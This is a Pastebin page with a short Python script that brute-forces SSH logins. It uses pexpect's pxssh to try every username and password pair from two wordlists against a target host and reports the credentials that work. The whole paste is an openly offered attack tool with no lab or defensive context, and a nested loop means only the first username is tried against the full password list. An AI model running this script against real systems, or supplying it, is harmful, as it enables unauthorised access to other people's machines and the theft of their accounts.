Guest User

Untitled

a guest
Apr 1st, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. #! /usr/bin/python3
  2.  
  3. from pexpect import pxssh
  4. import termcolor
  5. import sys
  6.  
  7. def connect(host,user,password):
  8. try:
  9. ssh=pxssh.pxssh()
  10. ssh.force_password=True
  11. ssh.login(host,user,password)
  12. print("password found "+termcolor.colored(user+":"+password,'yellow'))
  13. except pxssh.ExceptionPxssh as e:
  14. print(e)
  15. except KeyboardInterrupt as k:
  16. print("\n")
  17. print("terminate")
  18. print("raison:program stop by user",)
  19. sys.exit(0)
  20.  
  21. def main():
  22. if len(sys.argv) < 3:
  23. print("Usage: python %prog -host -userfile -passfile")
  24. print(" ")
  25. print("Example: python {0} 192.168.10.2 toto.txt titi.txt".format(sys.argv[0]))
  26. sys.exit(0)
  27. else:
  28. host = sys.argv[1]
  29. userfile = open(sys.argv[2], 'r')
  30. passfile = open(sys.argv[3], 'r')
  31.  
  32. for u in userfile.readlines():
  33.  
  34. for d in passfile.readlines():
  35. user = u.strip("\n")
  36. password = d.strip("\n")
  37. print(str(user) + ":" + str(password))
  38. connect(host,str(user),str(password) )
  39. userfile.close()
  40. passfile.close()
  41.  
  42. if __name__ == "__main__":
  43.  
  44. main()
Add Comment
Please, Sign In to add comment